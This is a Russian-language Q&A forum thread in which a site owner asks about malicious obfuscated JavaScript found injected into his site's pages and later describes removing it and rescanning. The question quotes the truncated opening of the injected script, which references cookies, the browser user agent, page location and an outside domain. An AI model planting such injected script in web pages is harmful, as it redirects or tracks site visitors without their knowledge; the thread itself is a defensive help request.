Кто сталкивался с данным вирусом?

Question

[Икотий Айтишевич]

На сайте обнаружил вирус(код ниже), открыл в песочнице и его заблокировал malwarebytes. Подскажите пожалуйста, кто сталкивался, он только в html коде страниц сайта или сидит где ещё?
Вот код, который был на страницах.

<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _...CUT

Comments

[Вова Дружаев]

воровать не нужно - не будет вирусов.

[Икотий Айтишевич]

Владимир Дружаев, Никто и не воровал...

[Вова Дружаев]

iko.it, само значит залезло?

Answer 1

[Икотий Айтишевич]

Кому интересно. Вирус можно удалить через код. Просто нашёл строчку кода и удалил её на всех страницах. Далее установил плагины, от малварей. И полностью проверил антивирусом весь сайт. Использовал virusdie. Больше данный вирус не тревожит.

Answer 2

[Andrey Vasilev]

обфусифицированный код, вряд ли кто-то сталкивался, я думаю он уникален, дело-то пяти минут его зашифровать

Comments

[Икотий Айтишевич]

Я понял. Я его сейчас вроде бы удалил. Не подскажите случаем, как сделать так, чтобы данный код не появился повторно?

[Andrey Vasilev]

GariSun, не скажу, потому что нету исходного кода.
если появляется снова, значит удалён не полностью, единственное что